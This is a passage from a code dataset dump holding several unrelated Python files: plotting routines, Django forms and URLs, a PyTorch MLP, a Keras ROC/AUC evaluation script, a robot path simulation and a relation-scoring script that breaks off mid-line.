plt.setp(histo.xaxis.get_majorticklabels(), rotation=45)\n plt.show()\n if dump: fig.savefig(\"plots/LED_%d_%s_%s_I%d_T%.0fs.png\"%(entry[\"id\"],date,timestamp,entry[\"intensity\"],entry[\"exposure\"]), bbox_inches='tight')\n\ndef plot_halo_cutoff_by_xval(data_in, pics_in):\n \"\"\"\n auxilliary plotter for better understanding the whole halo business\n \"\"\"\n data = data_in.sort_values(\"X\")\n pics = pics_in.copy()\n plots = dict()\n for id in data.get(\"id\").drop_duplicates():\n plots[id] = dict()\n plots[id][\"x\"] = []\n plots[id][\"y\"] = []\n for index, entry in data.iterrows():\n id = entry[\"id\"]\n plots[id][\"x\"].append(entry[\"X\"])\n plots[id][\"y\"].append(pics[index][\"sprung\"])\n plt.figure(figsize=(9,9))\n for key in plots.keys():\n y = plots[key][\"y\"];\n y[y!=y] = 0\n plt.plot(plots[key][\"x\"], y, label=\"LED %d\"%key)\n plt.legend(fontsize=12, loc=\"upper left\")\n plt.title(\"Halo cutoff percentages\", fontsize=14)\n plt.ylabel(\"max(halo)/min(peak), percent\",fontsize=12)\n plt.xlabel(\"exposure/10s*LED intensity/128\",fontsize=12)\n plt.axis([0,4,0,100])\n plt.grid()\n plt.show()\n\ndef present_results(data, pics_in, led=\"all\", intensity=\"all\", exposure=\"all\", dump=False):\n \"\"\"\n present input pics, intermediate (no bg) pic, and peak-only pic,\n alongside with some data - for monitoring purposes.\n similar to draw_ledpics().\n \"\"\"\n pics = pics_in.copy() # copy pics to avoid overwriting source data\n select = data.copy()\n if not led == \"all\":\n if type(led) == int: led = [led] # pack into a list if supplied e.g. 8\n select = select.query(\"id in %s\"%led)\n if not intensity == \"all\":\n if type(intensity) != tuple: intensity = (intensity, intensity)\n select = select.query(\"%d <= intensity <= %d\"%intensity)\n if not exposure == \"all\":\n if type(exposure) != tuple: exposure = (exposure, exposure)\n select = select.query(\"%f <= exposure <= %f\"%exposure)\n dim = pics[\"dim\"]\n for index, entry in select.iterrows():\n name = entry[\"name\"]\n timestamp = name.split(\"T\")[1].split(\".\")[0]\n date = name.split(\"_00_\")[1].split(\"T\")[0]\n pic = pics[index]\n fig = plt.figure(figsize=(30,6))\n grid = plt.GridSpec(1,5)\n disp = plt.subplot(grid[0,0])\n disp.grid()\n disp.set_title(\"LED %d, d=%d, I=%d, t=%.1f s\"%(entry[\"id\"],entry[\"dval\"],entry[\"intensity\"],entry[\"exposure\"]), fontsize=14)\n disp_image = disp.imshow(pic[\"data\"], extent=[-dim,dim,dim,-dim])\n disp.set_xlabel(\"%s, %s; index %d\"%(date, timestamp, index), fontsize=12)\n plt.colorbar(disp_image, ax=disp, orientation=\"vertical\")\n disp_nobg = plt.subplot(grid[0,1])\n disp_nobg.grid()\n disp_nobg.set_title(\"astropy.stats.sigma_clip(); sigmas: %d\"%pics[\"sigmas\"])\n disp_nobg.set_xlabel(\"bg: %.0f, bg_std: %.0f\"%(entry[\"bg\"], entry[\"bg_std\"]), fontsize=12)\n disp_nobg_image = disp_nobg.imshow(pic[\"nobg_pic\"], extent=[-dim,dim,dim,-dim])\n plt.colorbar(disp_nobg_image, ax=disp_nobg, orientation=\"vertical\")\n\n disp_peak = plt.subplot(grid[0,2])\n disp_peak.grid()\n disp_peak.set_title(\"%d peak finder iterations\"%pic[\"peak_iter\"])\n disp_peak.set_xlabel(\"Peak mean: %.0f, median: %.0f\"%(entry[\"peak_mean\"], entry[\"peak_median\"]))\n disp_peak_image = disp_peak.imshow(pic[\"peak\"], extent=[-dim,dim,dim,-dim])\n plt.colorbar(disp_peak_image, ax=disp_peak, orientation=\"vertical\")\n\n disp_halo = plt.subplot(grid[0,3])\n disp_halo.grid()\n disp_halo.set_title(\"Halo clipping by lower of %d bins\"%pics[\"bins\"])\n disp_halo.set_xlabel(\"Maximum at %.0f percent of peak minimum\"%pic[\"sprung\"])\n disp_halo_image = disp_halo.imshow(pic[\"halo_pic\"], extent=[-dim,dim,dim,-dim])\n plt.colorbar(disp_halo_image, ax=disp_halo, orientation=\"vertical\")\n\n disp_nohalo_peak = plt.subplot(grid[0,4])\n disp_nohalo_peak.grid()\n disp_nohalo_peak.set_title(\"Final peak for center-of-mass determination\")\n disp_nohalo_peak.set_xlabel(\"dx: %.3f, y0: %.3f\"%(entry[\"dx\"], entry[\"dy\"]), fontsize=12)\n disp_nohalo_peak_image = disp_nohalo_peak.imshow(pic[\"nohalo_peak\"], extent=[-dim,dim,dim,-dim])\n plt.colorbar(disp_nohalo_peak_image, ax=disp_nohalo_peak, orientation=\"vertical\")\n\n plt.show()\n\n if dump: fig.savefig(\"plots/LED_%d_%s_%s_I%d_T%.0fs.png\"%(entry[\"id\"],date,timestamp,entry[\"intensity\"],entry[\"exposure\"]), bbox_inches='tight')\n","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":9441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"393355150","text":"import os\r\nimport unittest\r\nimport bioc\r\n\r\n\r\nclass IterparseTests(unittest.TestCase):\r\n def setUp(self):\r\n self.src = os.path.join(os.path.dirname(__file__), 'everything.xml')\r\n\r\n def test(self):\r\n with bioc.iterparse(self.src) as parser:\r\n collection = parser.get_collection_info()\r\n for document in parser:\r\n collection.add_document(document)\r\n self.assertEqual(2, len(collection.documents))\r\n","sub_path":"tests/bioc/test_iterparse.py","file_name":"test_iterparse.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"229958293","text":"from django import forms\r\nfrom django.forms import ModelForm\r\n\r\nfrom djforms.catering.models import Event\r\nfrom djforms.core.models import GenericChoice\r\n\r\nfrom djtools.fields.time import KungfuTimeField\r\n\r\nimport datetime\r\n\r\nBUILDINGS = GenericChoice.objects.filter(\r\n tags__name__in=['Building Name']\r\n).filter(active=True).order_by('name')\r\n\r\nOPEN_TO = GenericChoice.objects.filter(\r\n tags__name__in=['Audience Choices']\r\n).filter(active=True).order_by('name')\r\n\r\nROOM_SET_UP = GenericChoice.objects.filter(\r\n tags__name__in=['Room setup']\r\n).filter(active=True).order_by('name')\r\n\r\nMEAL_SERVICE = GenericChoice.objects.filter(\r\n tags__name__in=['Meal service']\r\n).filter(active=True).order_by('name')\r\n\r\n\r\nclass EventForm1(forms.ModelForm):\r\n event_start = KungfuTimeField(\r\n label=\"Event starts at\", help_text=\"(Format HH:MM am/pm)\"\r\n )\r\n event_end = KungfuTimeField(\r\n label=\"Event Ends at\", help_text=\"(Format HH:MM am/pm)\"\r\n )\r\n building = forms.ModelChoiceField(\r\n label=\"Building name\", queryset=BUILDINGS,\r\n help_text=\"Name of the building on campus\"\r\n )\r\n\r\n class Meta:\r\n model = Event\r\n fields = (\r\n 'extension', 'event_name', 'event_date', 'event_start',\r\n 'event_end', 'building', 'room_number'\r\n )\r\n\r\n def clean_event_date(self):\r\n # dates\r\n today = datetime.date.today()\r\n event_date = self.cleaned_data.get('event_date')\r\n biz_date = today\r\n\r\n # minimum of 3 business days prior. handles past and current days.\r\n '''\r\n for i in range(3):\r\n biz_date += datetime.timedelta(days=1)\r\n # monday = 0\r\n while biz_date.weekday() not in (0,1,2,3,4):\r\n biz_date += datetime.timedelta(days=1)\r\n if event_date < biz_date:\r\n raise forms.ValidationError(\r\n \"\"\"\r\n Minimum of 3 business days before event date.\r\n \"\"\"\r\n )\r\n '''\r\n\r\n # maximum of 180 days into the future\r\n if event_date >= (today + datetime.timedelta(days=180)):\r\n raise forms.ValidationError(\r\n \"\"\"\r\n Maximum of 180 days before event date.\r\n \"\"\"\r\n )\r\n return self.cleaned_data['event_date']\r\n\r\n\r\nclass EventForm2(forms.ModelForm):\r\n open_to = forms.ModelMultipleChoiceField(\r\n queryset=OPEN_TO, widget=forms.CheckboxSelectMultiple(), required=True\r\n )\r\n\r\n class Meta:\r\n model = Event\r\n fields = (\r\n 'department', 'coordinator', 'purpose', 'account_number',\r\n 'open_to', 'facility_att', 'housing_att'\r\n )\r\n\r\n\r\nclass EventForm3(forms.ModelForm):\r\n room_set_up = forms.ModelMultipleChoiceField(\r\n label=\"Room set-up\",\r\n queryset=ROOM_SET_UP, widget=forms.CheckboxSelectMultiple(),\r\n help_text=\"Check all that apply\", required=True\r\n )\r\n\r\n class Meta:\r\n model = Event\r\n fields = (\r\n 'room_set_up', 'room_set_other', 'rounds', 'six_rect',\r\n 'table_cloth', 'breakout', 'registration', 'skirting',\r\n 'head', 'other_table'\r\n )\r\n\r\n\r\nclass EventForm4(forms.ModelForm):\r\n service_start = KungfuTimeField(\r\n label=\"Service time start\", help_text=\"(format HH:MM am/pm)\"\r\n )\r\n service_end = KungfuTimeField(\r\n label=\"Service time end\", help_text=\"(format HH:MM am/pm)\"\r\n )\r\n program_start = KungfuTimeField(\r\n label=\"Program time start\", help_text=\"(format HH:MM am/pm)\"\r\n )\r\n program_end = KungfuTimeField(\r\n label=\"Program time end\", help_text=\"(format HH:MM am/pm)\"\r\n )\r\n meal_service = forms.ModelChoiceField(queryset=MEAL_SERVICE)\r\n\r\n class Meta:\r\n model = Event\r\n fields = (\r\n 'dining_att', 'service_start', 'service_end', 'program_start',\r\n 'program_end', 'meal_service', 'menu_desc', 'other_reqs'\r\n )\r\n\r\n\r\nclass EventForm5(forms.ModelForm):\r\n\r\n class Meta:\r\n model = Event\r\n fields = (\r\n 'slide', 'data_proj', 'overhead', 'tv_dvd', 'cordless_mic',\r\n 'fixed_mic', 'flip_chart', 'coat_rack', 'chalkboard', 'laptop',\r\n 'table_podium', 'free_podium', 'screen', 'other_equip'\r\n )\r\n\r\n","sub_path":"djforms/catering/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"301227611","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndata = pd.read_csv('voice.csv')\n\ndata.head(21)\n\ncolor = plt.cm.viridis\nplt.figure(figsize=(10, 10))\nplt.title('Correlation', y=1.05, size=15)\nplt.yticks(rotation=0)\nplt.xticks(rotation=90)\nsns.heatmap(data.iloc[:,:-1].astype(float).corr(), \n linewidth=0.3, vmax=1.0, square=True, linecolor='black',\n annot=True, cmap='YlGnBu', annot_kws={'size':7})\nplt.show()","sub_path":"capstone/GenderRecognitionbyVoice/voice.py","file_name":"voice.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"74763774","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'dojosecrets'\nurlpatterns = [\n url(r'^post$', views.post, name='post'),\n url(r'^like(?P<id>\\d+)$', views.like, name='like'),\n url(r'^delete(?P<id>\\d+)$', views.delete, name ='delete'),\n]\n","sub_path":"Week3Day0/dojo_secrets_project/apps/dojosecrets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"236201373","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\n\n#########\n# MLP\n# - 1 fully connected layer\nclass SimpleMLP(nn.Module):\n def __init__(self, classes = 10):\n super(SimpleMLP, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Linear(28 * 28, 100),\n nn.ReLU()\n )\n\n self.layer2 = nn.Sequential(\n nn.Linear(100, classes)\n )\n\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = self.softmax(out)\n return out\n\n","sub_path":"Validation/Model/MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"51501735","text":"#!/usr/bin/env python\nimport os\nimport sys\nimport glob\n\ntry:\n from optparse import OptionParser\n import logging\n import pickle\n from sklearn.metrics import roc_auc_score, roc_curve, auc\n import datetime\n from scipy import interp\n\n import keras as ks\n import numpy as np\n import h5py\nexcept Exception as e:\n print(e, file=sys.stdout)\n sys.exit(\"ERROR: Unable to load dependencies.\")\n\n# Parse command line options\ndef OptionParsing():\n usage = 'usage: %prog [options] -f <*.h5>'\n parser = OptionParser(usage)\n parser.add_option('-i', '--inputdir', dest='InputDir', default=None, help=\"Input directory containg model information\")\n parser.add_option('-f', '--h5File', dest='ModelData', default=None, help=\"*.h5 file created using CreateHDF5.py containing the train, test, and validation data sets.\")\n parser.add_option('-a', '--acttable', dest='act_table', default=None, help=\"DNase Seq activity table with cell line headers.\")\n parser.add_option('-c', '--originalData', dest='originalData', default=False, action='store_true', help=\"Cell line file associated with the current data.\")\n parser.add_option('-t', '--testmodel', dest='testmodel', default=False, action='store_true', help=\"Set flag to subset data to 0.05% of total for testing architecture and functions.\")\n parser.add_option('-m', '--modelName', dest='modelName', default=None, help=\"Identifier for model within the AllModelTrainingRunStatistics.txt\")\n parser.add_option('-c', '--nocancer', dest=\"nocancer\", default=False, action=\"store_true\", help=\"Pass flag to turn off karyotype partitioning in results.\")\n (options, args) = parser.parse_args()\n if not options.ModelData or not options.InputDir:\n parser.error('ERROR: Must provide a *.h5 file with train, test, and validation data and Input Directory from training.')\n if options.InputDir[len(options.InputDir)-1] != '/':\n options.InputDir = options.InputDir + '/'\n else:\n pass\n return(options, parser)\n\nclass Data:\n '''\n Holds all the hdf5 file data. This includes all training, validation, and testing datasets.\n '''\n def __init__(self, Options):\n '''\n :param Options: Parser object, holds all user options including the ModelData.\n '''\n self.dataFile = Options.ModelData\n self.target_labels = None\n self.train_seqs = None\n self.train_targets = None\n self.test_headers = None\n self.test_seqs = None\n self.test_targets = None\n self.LoadData()\n\n # Loads *.h5 file to be used\n def LoadData(self):\n usrData = h5py.File(self.dataFile, 'r')\n\n # Target labels\n self.target_labels = np.array(usrData.get('target_labels'))\n\n # Train Set\n self.train_seqs = np.array(usrData.get('train_in'))\n self.train_targets = np.array(usrData.get('train_out'))\n\n # Test Set\n self.test_headers = np.array(usrData.get('test_headers'))\n self.test_seqs = np.array(usrData.get('test_in'))\n self.test_targets = np.array(usrData.get('test_out'))\n\n # Validation set\n self.valid_seqs = np.array(usrData.get('valid_in'))\n self.valid_targets = np.array(usrData.get('valid_out'))\n\n usrData.close()\n logging.info(\"Data Loaded\")\n logging.info(\"Train Data Shape:\")\n logging.info(str(self.train_seqs.shape))\n\ndef MakeSmallTestBatchPred(Options, data):\n testchoice = np.random.choice(data.valid_seqs.shape[0], int(data.valid_seqs.shape[0] * 0.005), replace=False)\n test_seq_small = data.test_seqs[testchoice,]\n test_targets_small = data.test_targets[testchoice,]\n test_header_small = data.test_headers[testchoice,]\n\n return (test_seq_small, test_targets_small, test_header_small)\n\ndef LoadModel(Options):\n model_to_load = glob.glob(Options.InputDir + \"*.modelConfig.yaml\")[0] # Should only be one\n weights_to_load = glob.glob(Options.InputDir + \"*.modelWeights.h5\")[0]\n\n # Load Model Configuration from yaml\n with open(model_to_load, 'r') as inModel:\n loadedModel = inModel.read()\n\n loaded_model = ks.models.model_from_yaml(loadedModel)\n print(\"Model Configuration Loaded.\", file=sys.stdout)\n\n # Load Weights from h5\n loaded_model.load_weights(weights_to_load)\n print(\"Model weights loaded.\", file=sys.stdout)\n\n return(loaded_model)\n\ndef RunPredictions(Options, data, model):\n #### ONLY FOR RUNS THAT HAD INCORRECT DATA USED FOR TEST/VALIDATION\n # I Fucked up on this one. Trained using train and validation with the train and test datasets, not train and validate datasets\n if 'TestRun.29Jan2018.1100.batch128.adam.2018-02-15.22.04/' in Options.InputDir or 'TestRun.lr0.01.batch128.adam.4layer.dropoutg.2018-02-16.15.02/' in Options.InputDir:\n test_seqs = data.valid_seqs\n test_targets = data.valid_targets\n test_headers = data.test_headers\n elif Options.testmodel:\n test_seqs, test_targets, test_headers = MakeSmallTestBatchPred(Options, data)\n else:\n test_seqs = data.test_seqs\n test_targets = data.test_targets\n test_headers = data.test_headers\n\n print(\"Predicting values on testing sequences.\", file=sys.stdout)\n test_targets_pred = model.predict(test_seqs)\n\n allfpr = []\n alltpr = []\n allthresholds = []\n all_auc_scores = []\n for i in range(0,test_targets.shape[1]):\n fpr, tpr, thresholds = roc_curve(test_targets[:,i], test_targets_pred[:,i])\n auc_score = roc_auc_score(test_targets[:,i], test_targets_pred[:,i])\n allfpr.append(fpr)\n alltpr.append(tpr)\n allthresholds.append(thresholds)\n all_auc_scores.append(auc_score)\n\n return(allfpr, alltpr, allthresholds, all_auc_scores, test_targets, test_targets_pred)\n\ndef BuildOutputTable(allOutDir, allfpr, alltpr, allthresholds, all_auc_scores):\n outFilename = \"%s%s\"%(allOutDir,\"roc_curve_data.csv\")\n\n line = [] # Format: CellHeader#, auc_score, tpr, fpr\n for i in range(0,len(allfpr)): # Access Each Cell Line\n for k in range(0,len(allfpr[i])):\n line.append(','.join([str(i+1), repr(all_auc_scores[i]), repr(alltpr[i][k]), repr(allfpr[i][k])]))\n\n with open(outFilename, 'w') as outFile:\n outFile.write(','.join(['Cell','AUC','tpr','fpr']) + '\\n')\n outFile.write('\\n'.join(line))\n\ndef GetMacroMicroAverages(Options, test_targets, test_targets_pred, FilePath):\n '''\n If want to do predictions for a subset of the groupings just pass in the test targets,\n and test_targets_pred of from those indices.\n '''\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n\n #~~~~~ 1st Calculate micro-averages for all samples... ~~~~#\n # Compute micro-average ROC curve and ROC area\n fpr[\"microall\"], tpr[\"microall\"], _ = roc_curve(test_targets.ravel(), test_targets_pred.ravel())\n roc_auc[\"microall\"] = auc(fpr[\"microall\"], tpr[\"microall\"])\n\n #~~~~~ 2nd Calculate micro-averages for different karyotypes... ~~~~#\n # 2a Extract predictions and test_targets of each of the karyotypes using the cellType Tables in DataViz\n if Options.nocancer == False and Options.originalData:\n with open(FilePath.rstrip('Model') + '/DataViz/Rotation1App/Data/CellLineInfo.txt', 'r') as cellFile:\n cells = [line.rstrip('\\n').split('\\t')[2] for line in cellFile.readlines()]\n del cells[0]\n\n test_target_karyo_indices = {t: [] for t in list(set(cells))}\n for i, type in enumerate(cells):\n test_target_karyo_indices[type].append(i)\n\n readyForTests = dict()\n for type in list(set(cells)):\n test_targets_types = test_targets[:,test_target_karyo_indices[type]]\n test_targets_pred_types = test_targets_pred[:,test_target_karyo_indices[type]]\n readyForTests.update({type:{'test_targets':test_targets_types, 'test_targets_pred':test_targets_pred_types}})\n\n for type in readyForTests:\n label = \"micro_%s\"%(type)\n fpr[label], tpr[label], _ = roc_curve(readyForTests[type]['test_targets'].ravel(), readyForTests[type]['test_targets_pred'].ravel())\n roc_auc[label] = auc(fpr[label], tpr[label])\n\n print(\"Micro averaging completed\", file=sys.stdout)\n #~~~~~ 3rd Getting macro averages ~~~~#\n allfpr = []\n alltpr = []\n all_auc_scores = []\n for i in range(0, test_targets.shape[1]):\n fprind, tprind, _ = roc_curve(test_targets[:, i], test_targets_pred[:, i])\n auc_score = roc_auc_score(test_targets[:, i], test_targets_pred[:, i])\n allfpr.append(fprind)\n alltpr.append(tprind)\n all_auc_scores.append(auc_score)\n\n # First aggregate all false positive rates\n fprAgg = np.unique(np.concatenate([allfpr[i] for i in range(0, test_targets.shape[1])]))\n # Then interpolate all ROC curves at this points\n mean_tpr = np.zeros_like(fprAgg)\n for i in range(0, test_targets.shape[1]):\n mean_tpr += interp(fprAgg, allfpr[i], alltpr[i])\n\n # Finally average it and compute AUC\n mean_tpr /= test_targets.shape[1]\n\n fpr[\"macroall\"] = fprAgg\n tpr[\"macroall\"] = mean_tpr\n roc_auc[\"macroall\"] = auc(fpr[\"macroall\"], tpr[\"macroall\"])\n\n #---Calculate for karyotypes\"\n if Options.nocancer == False:\n for type in readyForTests:\n label = \"macro_%s\"%(type)\n\n allfpr = []\n alltpr = []\n for i in range(0, readyForTests[type]['test_targets'].shape[1]):\n fprind, tprind, _ = roc_curve(readyForTests[type]['test_targets'][:, i], readyForTests[type]['test_targets_pred'][:, i])\n allfpr.append(fprind)\n alltpr.append(tprind)\n\n fprAgg = np.unique(np.concatenate([allfpr[i] for i in range(0, readyForTests[type]['test_targets'].shape[1])]))\n mean_tpr = np.zeros_like(fprAgg)\n for i in range(0, readyForTests[type]['test_targets'].shape[1]):\n mean_tpr += interp(fprAgg, allfpr[i], alltpr[i])\n\n mean_tpr /= readyForTests[type]['test_targets'].shape[1]\n\n fpr[label] = fprAgg\n tpr[label] = mean_tpr\n roc_auc[label] = auc(fpr[label], tpr[label])\n\n print(\"Macro averaging completed\", file=sys.stdout)\n\n return(fpr, tpr, roc_auc)\n\ndef BuildSummaryTables(allOutDir, Options, fpr, tpr, roc_auc):\n with open(allOutDir + Options.modelName +\".roc_curve_data.micromacro.csv\", 'w') as outFile:\n outFile.write(\"SumType,AUC,tpr,fpr\\n\")\n for item in fpr:\n for i in range(0,len(fpr[item])):\n outFile.write(','.join([item,repr(roc_auc[item]),repr(tpr[item][i]), repr(fpr[item][i])]) + \"\\n\")\n\ndef FormatROCtable(Options, rocTable, allOutDir):\n with open(Options.act_table, 'r') as inAct:\n headers = inAct.readlines()[0].rstrip('\\n').split('\\t')\n headers = headers[1:len(headers)]\n\n with open(os.path.dirname(os.path.abspath(__file__)).rstrip('Model')+\"DataViz/Rotation1App/Data/CellLineInfo.txt\", 'r') as cellFile:\n cellData = [line.rstrip('\\n') for line in cellFile]\n cellHead = cellData[0]\n del cellData[0]\n\n outDict = {}\n for line in cellData:\n lineInfo = dict(zip(cellHead.split('\\t'),line.split('\\t')))\n outDict.update({line.split('\\t')[0]:lineInfo})\n\n cellDict = dict(zip([i for i in range(0,164)],headers))\n\n finalDict = {}\n for i in cellDict:\n finalDict.update({i+1:outDict[cellDict[i]]})\n\n with open(rocTable, 'r') as rocFile:\n with open(allOutDir + Options.modelName +\".roc_curve_data.appended.csv\", 'w') as outFile:\n for line in rocFile.readlines():\n if line.startswith(\"Cell,AUC,tpr,fpr\"):\n outFile.write(line.rstrip('\\n')+',Karyotype\\n')\n else:\n line = line.rstrip('\\n').split(',', 1)\n lineout = finalDict[int(line[0])]['Karyotype']\n lineToWrite = ','.join([','.join(line),lineout])\n outFile.write(lineToWrite+'\\n')\n\ndef main():\n # Setup Primary Variables\n FilePath = os.path.dirname(os.path.abspath(__file__))\n now = datetime.datetime.now()\n\n (Options, Parser) = OptionParsing()\n allOutDir = \"%s%s\"%(Options.InputDir,\"ModelEvalOutput/\")\n\n try:\n os.mkdir(\"%s%s\"%(Options.InputDir,\"ModelEvalOutput\"))\n except Exception as e:\n print(e, file=sys.stdout)\n\n data = Data(Options)\n model = LoadModel(Options)\n\n # Write a model Summary for Shiny\n if os.path.isfile(allOutDir + Options.modelName + '.modelSummary.txt'):\n pass\n else:\n try:\n with open(allOutDir + Options.modelName + '.modelSummary.txt', 'w') as fh:\n # Must be done locally.\n model.summary(print_fn=lambda x: fh.write(x + '\\n'))\n except TypeError:\n print(\"Unable to save model summary.\")\n\n if os.path.isfile(\"%s%s\"%(allOutDir,\"roc_curve_data.csv\")) == False:\n # Must be done on the cluster...\n allfpr, alltpr, allthresholds, all_auc_scores, test_targets, test_targets_pred = RunPredictions(Options, data, model)\n pickle.dump(test_targets_pred, open(\"%s%s%s\"%(allOutDir,Options.modelName,\".test_targets_pred.p\"), 'wb'))\n pickle.dump(test_targets, open(\"%s%s%s\"%(allOutDir,Options.modelName,\".test_targets.p\"), 'wb'))\n BuildOutputTable(allOutDir, allfpr, alltpr, allthresholds, all_auc_scores)\n else:\n # Must be done locally\n print(\"ROC Curve Data found. Building visualization table.\")\n FormatROCtable(Options, \"%s%s\" % (allOutDir, \"roc_curve_data.csv\"), allOutDir)\n test_targets = pickle.load(open(\"%s%s%s\"%(allOutDir,Options.modelName,\".test_targets.p\"), 'rb'))\n test_targets_pred = pickle.load(open(\"%s%s%s\"%(allOutDir,Options.modelName,\".test_targets_pred.p\"), 'rb'))\n fpr, tpr, roc_auc = GetMacroMicroAverages(Options, test_targets, test_targets_pred, FilePath)\n BuildSummaryTables(allOutDir, Options, fpr, tpr, roc_auc)\n\n # Inspect weights --------------------------------------------------------------\n model_weights = model.get_weights()\n\n # Conv Layer 1\n filter_weights = model_weights[0]\n\n # save conv filter weights\n for k in range(10): # filter_weights.shape[2]\n try:\n os.mkdir(allOutDir + 'visualize')\n except:\n pass\n np.savetxt((\"%svisualize/%s.filter_%s.txt\" % (allOutDir,Options.modelName,k)), filter_weights[:, :, k], delimiter=\"\\t\")\n\n # Plot them using the supplied R script\n # os.system(\"Rscript %s/helper/plot_sequence_kernel_weights_per_dir.R %s/visualize %s/visualize plot_weight 10 5\"%(FilePath,allOutDir,allOutDir))\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"Model/ModelEvaluation_v2.py","file_name":"ModelEvaluation_v2.py","file_ext":"py","file_size_in_byte":14759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"462608469","text":"from graphics import *\nfrom Geometry import *\nfrom PathPlanning import *\nimport time\n\ndef drawRobots(robotNodes, angles, robotRadius, win, color):\n robotCircles = []\n for a in range(len(robotNodes)):\n degreeAngle = 180*angles[a] / math.pi\n print(\"angle %f\" % (angles[a]))\n distX = robotRadius*math.cos(angles[a])\n distY = robotRadius*math.sin(angles[a])\n print(\"distx %f; disty %f\" % (distX, distY))\n actualCenter = Point(robotNodes[a].x - distX, robotNodes[a].y - distY)\n otherCenter = Point(robotNodes[a].x, robotNodes[a].y)\n cir = Circle(actualCenter, robotRadius)\n cir.setFill(color)\n cir.draw(win)\n robotCircles.append(cir)\n return robotCircles\ndef drawCircle(center, radius, win, color):\n cir = Circle(Point(center.x, center.y), radius)\n cir.setFill(\"blue\")\n cir.draw(win)\n\nwin = GraphWin(\"RobotSimulation\", 400, 400)\nstartingNodes = [Point(0, 190), Point(30, 200), Point(10, 250), Point(-10, 10), Point(32, 17), Point(500, 600)]\ntargetNodes = [Point(100, 100), Point(50, 100), Point(150, 150), Point(-150, -150), Point(152, 700), Point(280, -10)]\ninitialDelay = 5\nrobotUnitsPerTime = 0.1\nrobotWidth = 10\n\n##drawRobots(startingNodes, robotWidth/2, win, \"red\")\n##drawRobots(targetNodes, robotWidth/2, win, \"blue\")\npaths = pathPlanning(startingNodes, targetNodes, initialDelay, robotUnitsPerTime, robotWidth+1, robotWidth+1, 5)\nfor a in range(len(paths)):\n startingNodes[a] = Point(paths[a][0].x, paths[a][0].y)\n\nangles = []\nfor path in paths:\n angles.append(math.atan2(path[1].y - path[0].y, path[1].x - path[0].x))\n degreeAngle = 180*math.atan2(path[1].y - path[0].y, path[1].x - path[0].x) / math.pi\n print(\"startingL %f, %f; angle: %f\" % (path[0].x, path[0].y, degreeAngle))\n\nrobotCircles = drawRobots(startingNodes, angles, robotWidth/2, win, \"red\")\n\n## draw targets\nfor target in targetNodes:\n cir = Circle(Point(target.x, target.y), 2)\n cir.setFill(\"blue\")\n cir.draw(win)\n robotCircles.append(cir)\n\ncurrentTime = 0\nframesPerSecond = 20\ntimeIncrementPersecond = 5\n\nwhile currentTime < 5000:\n robotNodes = []\n currentTime += timeIncrementPersecond\n for a in range(len(paths)):\n newLocation = pointForTimeOnPath(paths[a], currentTime, robotUnitsPerTime)\n lastLocation = pointForTimeOnPath(paths[a], currentTime - timeIncrementPersecond, robotUnitsPerTime)\n robotCircles[a].move(newLocation.x - lastLocation.x, newLocation.y - lastLocation.y)\n time.sleep(1/framesPerSecond)\n win.flush()\n\nwin.getMouse()\nwin.close()","sub_path":"Software/PathPlanningPython/GraphicsSimulation.py","file_name":"GraphicsSimulation.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"558894493","text":"import sys\nimport json\nimport math\nimport step1_getIG\nimport step4_filterTriples\ndef getScore(types,rel):\n \"\"\"\n score(rel,t):使用实体对类型打分公式来评价一个词语是否能描述特定实体对类型的关系\n :param types: 特定的实体对类型\n :param rel: 关系\n :return:\n \"\"\"\n scoreDict = dict()\n probOfTGivenRelDict = step1_getIG.givenRelGetProbOfType(types, rel) # 计算P(t|rel),关系为rel的条件下,实体对类型为t的概率\n relAndTypeDict = step1_getIG.getRelTripes(types, rel) # 计算C(rel,t):rel和t共线的次数\n print(\"p(t|rel)\")\n print(probOfTGivenRelDict)\n print(\"C(t,rel)\")\n print(relAndTypeDict)\n \"\"\"\n score(rel,t) = 0.0 是因为c(rel,t) = 1 导致 logc(rel,t) = 0.0\n score(rel,t) = 0 是因为c(rel,t) = 0 导致 \n \"\"\"\n for type in types:\n score = -1 # 改动!当c(rel,t)==0即P(t|rel)==0的情况下,将score设置为-1\n if probOfTGivenRelDict[type] != 0:\n score = probOfTGivenRelDict[type]*math.log2(relAndTypeDict[type])\n scoreDict[type] = score\n return scoreDict\n\ndef sortedByScore(types):\n \"\"\"\n 根据types,获得候选关系集合,根据score(rel,t),对每个关系类型的score(rel,t)进行排序\n :param types: 实体对关系类型集合\n :return:\n \"\"\"\n allCandidateRelSet = step1_getIG.getAllCandidateRel(types)\n # allCandidateRelSet = [\"位于_v\",\"召见_v\"]\n scoreByTypeDict = dict()\n for type in types:\n newDict = dict()\n scoreByTypeDict[type] = newDict\n for candidateRel in allCandidateRelSet:\n print(\"----------------------------\")\n print(candidateRel)\n scoreByRelDict = getScore(types,candidateRel)\n\n print(\"score(rel,t)\")\n print(scoreByRelDict)\n for type in types:\n if scoreByRelDict[type]>=0: # 当c(rel,t) == 